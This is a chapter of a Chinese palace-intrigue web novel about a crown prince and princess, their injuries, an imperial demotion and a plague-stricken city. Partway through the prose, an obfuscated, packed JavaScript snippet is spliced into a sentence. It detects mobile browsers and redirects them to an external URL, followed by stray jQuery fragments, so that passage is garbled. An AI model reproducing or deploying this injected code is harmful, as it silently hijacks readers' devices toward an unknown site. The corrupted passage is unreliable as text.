“把它抓过来。” 凌逸瞬间上手,那小狐狸一瞬之间就乱叫唤起来。 “你轻些。” 贺遇呵斥了一声。 可凌逸觉得委屈啊,他根本没有用劲啊。 “那,殿下,我,我替您找个笼子,先把太子妃送您的礼物妥善存放起来?”凌逸语调上扬,还着重强调了这是太子妃送的东西。 贺遇缓缓垂下了眼眸,没有接话,过了会儿才说道“嗯,去替孤备水。” “是。” 凌逸在今晚好不容易拍上了马屁,可不敢再触殿下的霉头。 贺遇一个人,将自己泡在水里,虽然侍从们在偏殿早已备上了银丝碳,但贺遇还是感受到了凉意,他咳嗽了两声,转头看向将笼子咬的吱吱作响的小狐狸,不知道在想些什么,随后望向窗外,眼中擦着如墨般的深邃,紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825708|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧抿住了唇,一直等到水彻底凉了下来他都没说话。 “砰——”屋内传来的响声吓了凌逸一大跳,他刚准备推门,就撞上了回来的凌霄,对视一眼,赶紧进屋,不知殿下怎得披了一件薄衫后,重重摔在了地上,竟然将那笼子也打翻在地。 “殿下!”凌霄赶紧把太子扶上轮椅,可此刻贺遇的表情却难看的有些过分。 “谁让你们进来的,滚出去。”贺遇深深吸了一口气,吐出,平复着内心的暴戾,“把这只狐狸也带出去。” “是。” “是?” 贺遇没有管任何人的表情,在他们退出去后,拽过衣物,将自己裹好,一点点儿挪到了床上,他没有让任何人在床下守夜,就这样睁着眼,到了天亮。 “咳咳”祁允辞面色酡红,怏怏地趴在床上,尤其是右腿,几乎不能动。 她再次被喂了药,又用蜜饯压下了苦味,可就在这时,外面却再次传来了太医的声音。 “怎么回事儿?你们太医院救人还分批次来吗?” 胡太医跪在地上,赶紧回答道“回太子妃,是殿下病了。” 而杜太医则在一旁陪笑道“恐怕是殿下太过担忧太子妃,这才思劳成疾。” “本宫倒是不知,杜太医医术如此高超,连望闻问切都不用,就能为贵人看病。” 祁允辞从床榻之上垂眸,缓缓扫过众人留下一句轻笑,却也让杜太医感到胆寒,跪在地上连声请罪。 “行了,你们也去给殿下看看吧。” “是。” 或许是狩猎场真跟太子府犯冲,一个病了另一个也接着病了,又出了刺客一事,陛下更没了狩猎的心思,直接将李太尉一家暗中监视起来后,便打道回了皇宫。 两个病秧子共同坐在御赐的马车内面面相觑。 祁允辞伸手,逗弄着那只被关在笼子里的小狐狸,还不断咳嗽着,却非要拿鲜肉自己喂。 贺遇抓着汤婆子,却许久没说话,视线将祁允辞圈住,深深的,他倚靠在软枕上,却并没有再去触碰的意思。 “太子殿下不喜欢吗?” 祁允辞注意到了这一幕,偏头问道。 贺遇下意识的摇头,又缓缓停住,沙哑的嗓子磨出来了几个字“喜欢,咳,不过,孤以为还是放了,它毕竟属于猎场。” 祁允辞挑眉,没想到贺遇会这么说,不过也无所谓,毕竟它把这狐狸带回来,不过是想卖太子爷一个好,既然不想要那便放了。 “臣妾既已将这小狐狸送给殿下了,殿下自行处理即可。” 贺遇掀开车帘,对着凌逸招了招手,便将小狐狸送了出去“带出去放生吧。” “是。”凌逸打马而走,朝着猎场的方向,只留下一道残影。 “此人倒是没见过。”祁允辞笑着问道。 “嗯,孤这几日倒也没见过太子妃的侍卫。” 祁允辞挑了挑眉,没明白话题怎么转到了岑佑身上,不过还是解释了一句,便没了后文,车内陷入别样的安静,祁允辞察觉到了不对,但她自小被哄到大,实在没有体谅他人的一颗心。 而另一边,岑佑却被堵在了定州城内,死的人太多了,来不急掩埋的尸体随意扔在户外,散发出恶臭,有老鼠爬过尸体,腐烂,笼罩着整个定州城。 “快,快,去给知州报信,鼠疫,死的人太多了。” 知州府内,知州一字一顿写着上报的折子,说是定州地动,请求朝廷赈灾。 快马加鞭,直抵京城。 19. 太子爷左迁辞行,郡主奔袭定州城…… 东宫的马车跨过府门,祁允辞看着外面放着的两个轮椅,先是一愣,随后偏头望向还不断咳嗽的太子爷,扑哧一声笑出来,像是很感兴趣,笑着调侃道“当真是不是一家人不进一家门,整整齐齐大家都一起坐轮椅。” 贺遇一愣,摇摇头,最终没有搭腔,而李管家则在一旁点头哈腰,听到这话,赶紧对着祁允辞说“呸,呸,太子妃可不能这样说,先请您下马车,去去晦气。” 那大片的叶子差点儿扑了祁允辞满脸,她同华岁对视一眼,当真没想到还有这样的习俗,眼中流露出几分好奇。 “怎么?你们没有这样的说法吗?”贺遇也下了车,在祁允辞一旁,手撑着额角,还带着点儿虚弱,凌霄赶紧拿披风罩住贺遇。 “没,我们一般摔断腿,全凭自己单脚跳,毕竟这算你学艺不精,要是运气不好,还能碰上师兄猛踹你那条好腿。” 祁允辞的嗓音里带着挥之不去的笑意,想起当年被国师教养的那些时日,自顾自怀念着,同贺遇道别后,便自己滚着轮椅离开了。 贺遇看着她的背影,许久没有说话,手指摸索着玉扳指,不知道在想些什么。 东宫的生活恢复到了过往的平静,两个主人家则各自待在自己的寝殿内养病,唯有怀安殿内却依旧有着说不出的热闹。 “所以说,太子爷因为担心我家主子,这才病倒了?!”更星听见华岁的说法一瞬间惊呼出声,而坐在软榻上正看着兵书的郡主则当场将书扔了出去,正中额头。 “你们当我不存在是吧?” “哎呀,主子,是不是真的啊?”更星被骂了也不生气,一副博览群书的八卦样儿,还舞到了祁允辞头顶上。 “你过来些,本郡主偷偷告诉你。”祁允辞招招手,半眯着眼,逗弄着更星靠近,抬手就又给了她脑袋一下。 “哎哟,主子。” “你再敢八卦你主子一下试试。”祁允辞甩了甩自己的左手,指着华岁吩咐道“把书捡回来,还有你,少给她说些杂七杂八的,全是看那些才子佳人,王侯将相的话本子看坏了脑袋。” 华岁也不敢多言,赶紧把书送了过来。 更星在一旁还不忘小声嘀咕着“我看的,主子不也看么。” “嗯?” “话说,岑佑那边有消息了吗?”祁允辞瞥了她一眼后,淡定翻书。 “没有。”更星赶紧正色的说道“不过,属下去见了桑榆,有人想要她的命。” “没事,李家这些时日自己都不好过,没时间管她。” “陛下,臣有罪,未能及时查出狩猎布防上的空缺,让贼人钻了空子,令太子妃身陷险境,使陛下受惊,老臣罪该万死。” 李太尉跪在大殿之上,涕泗横流,却又仰着头,挺直腰杆,像是一棵生长百年,藤蔓交织的老树。 “为人臣而不能为君主分忧,掌军事而不能护君主无恙,这让臣如何有颜面活在这世上啊。”李太尉对着大殿龙柱,竟是以头抢之,险险被谢运拦腰抱住,又重重摔在地上。 陛下的视线透过冕旒落下来,大殿内安静的宛若没有人一般。 “李卿年纪大了。” 缓缓开口,李太尉就好像突然被人扼住了脖颈一般。 “李卿已是三朝元老,做事也难免疏忽。” “陛下,是老臣的错。” 陛下于高台之上摆手,一字一顿说道:“朕,要太子和中郎将协助,你们看看自己干得好事!”骤然拔高的声音使台下众人齐刷刷扑倒在地,不敢直视龙颜。 “你们俩还年轻,难道要李卿一人担当大任吗?这么大的疏忽查不出来吗?” 贺遇跪爬在地上,率先开口“父皇,此事儿臣难辞其咎,还望父皇息怒。” “望陛下息怒。” 元帝平静的扫视过众人,最后落在了贺遇的身上“你同谢运的确难辞其咎,绠短汲深,难堪重任。” 大殿内鸦雀无声,无一人敢开口,哪怕是李太尉都不敢倚老卖老。 “罢了,诸位爱卿平身吧,应以此事为诫,在其位谋其政,任其职尽其责,你们都是百姓的父母官,若大梁的王朝都是些尸位素餐之徒,那将处处都是漏洞,处处都是蚁穴,那还做什么官?” “谨遵陛下教诲。” “太子,谢运,罚俸一年,降一职,左迁宣抚使,亲至定州赈灾,将功补过。” “是,臣,儿臣领旨。” “陛下。”李太尉唤道,他再行大礼,三拜叩首“陛下,臣老眼昏花,早难堪重任,朝中多是些后起之秀,肱骨之臣,臣愿乞骸骨。” 元帝并未第一时间搭话,静默片刻后“李卿先起来吧,此事容后再议,北大营主将殒命,诸位爱卿可有提拔。” 左相在此刻上前“陛下,臣认为有一人可当此任。” “说。” “北大营右副将吴思。” 大臣们听到提名,没有表露出丝毫的惊讶,也无一人提出异议。 “有本启奏,无事退朝”在肖培安尖锐的声音中,众人缓缓退了出去,而今日早朝的消息也极快的传入了祁允辞的耳朵。 “你是说陛下派太子爷去赈灾了?”她的手指划过那几张薄纸,旁边的金箔堆成了房子,随后被一起推倒。 嘲弄一声“瘸着双腿去赈灾,陛下也不怕他死外面。” 岑佑一直没有传回新的消息,这使祁允辞觉察出了几分不对,心中感到不安,尤其是这几封信,竟然一直没有办法判定出,上面的数字到底代表了什么。 “阿萤呢?”祁允辞皱着眉问道,她的右腿被架上了板子,若是忍着,也算是行动无虞,她挥退了上前捡金箔的华岁,直接席地而坐,听着她跪在地上的汇报, “阿萤去了戏班子的住处,帮着收拾东西。” 祁允辞搭金箔的手指一顿“她倒是悠闲,把人给我叫回来,刺客的事查的怎么样了?” “主子,陛下在朝堂上,将李太尉逼得提出乞骸骨,并且北大营的统领换了人,是吴思,此人靠军功上位,并非是四大世家的人,恐怕是陛下的人。” “嗯。” “至于刺客,恐怕有两拨人,一拨袭击了您,另一拨恐怕是陛下自导自演的,而其中……” “而其中太子爷占据了举足轻重的地位。”祁允辞自己接上了话“凌霄、凌逸,救我是假,杀人是真吧。” 敛眸,金箔片在手中打着转儿,放上最后一片,随手又抓了一把金瓜子从高处落下,便尽数塌了。 祁允辞拍拍手,从地上起身,随口吩咐道“把地上的东西融了。” “是。” “主子,你找我。” 阿萤跪地一个干脆利落的行礼。 “你同我去一趟定州。”祁允辞吩咐道。 “现在?” “怎么?你有事?” 祁允辞偏头,手边放着的是一个用金丝做成的布袋,装了许多金瓜子在里面。 “没,只是,主子的伤。” 祁允辞斜睨了她一眼,没有搭话。 “是。” 就在这时,华岁小跑着过来,轻轻说道“太子殿下来了。” “臣妾见过太子殿下,臣妾行动不便,望殿下恕罪。” 贺遇扫过桌子上各色形状大小不一的金子,感慨一句“太子妃这家底,可不是一般的殷实啊。” 碎金子落在桌上,发出清脆的声响,祁允辞调笑道“听说殿下要出远门,可需要臣妾为殿下添置一些。” “不必了 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太医退了出去,祁允辞撑着一旁的金丝软枕,斜靠着,眉眼上扬,冲着贺遇抬了抬下颌。 “来人,把东西送进来。”一颗巨大的南阳珊瑚树被运了进来,甚至上面还挂着各色的宝石。 “这个赔礼如何?” 祁允辞的眼中有着挥之不去的欣喜,至少贺遇这个礼送到了心坎上。 “更星,去把那些宝石一并挂上去,搬进内室,本宫要看着它睡。” “倒是讨了太子妃的欢心啊。”贺遇端起茶杯,掩盖住唇角的笑意“孤见太子妃发尾时常坠着红宝石,便挑中了这颗珊瑚树。” “臣妾谢过殿下,殿下万福,此去定州必定一帆风顺,马到成功。” 贺遇扬眉“那孤以茶代酒。” “好!”祁允辞用左手端起茶杯,特地避开使用右手。 贺遇略坐了片刻后才离开,在踏出殿门后,笑意便逐渐收敛“怎么样?” “殿下,太子妃伤势虽已好了大半,但受伤的腿脚似乎依旧行动不便。” “嗯。” 凌霄在这时也轻声说道“属下去查探过那几名刺客的尸首,是陛下的人,不小心重伤太子妃,营造刺杀假象,趁机逼迫李家让位,扶持自己人担任北大营统领,此事并无差错啊,殿下在怀疑什么?” 贺遇揉了揉眉心“没什么,只是总觉得有人在背后摆了一道,既然只是刺杀假象,那将祁允辞击落悬崖,实在是过于冒险,若是真的不小心殒命,边疆必反。” 贺遇叹了一口气“罢了,应当是孤想多了,准备准备,出发去定州。” “是。” “阁老,为何一定要将信送给郡主?她一个女人,真有这么大能耐,拉李家下马?” “呵。”于阴影之中,一双干枯腐朽的手正于小火炉上焚香,烟气袅袅,晕染出盘旋而上的云雾,又缓缓散在了空气中。 “只要她姓祁,是男人,是女人,有什么影响吗?”从阴影里爬出来的,湿漉漉的声音缠上了跪在地下的人“燕王有一双重情重义的麒麟子,只要推一把,便必定会帮我们,且看着吧,祁允辞,会是这局棋中,最大的变数。” 贺遇于今早,坐着马车,同谢运带着人走官道前往定州。 而祁允辞则在交代完更星,并在牢中见过桑榆之后,领着阿萤,千里奔袭,披星戴月,竟比贺遇还早到了两日。 定州,城内出入无任何影响,百姓排队领着救济的灾粮,有人高呼感谢父母官员,更有商人施粥,官兵重建房屋,一派祥和,哪怕将此时此景作画送至陛下案头,也定能博得升官契机,官员考核,前途无量。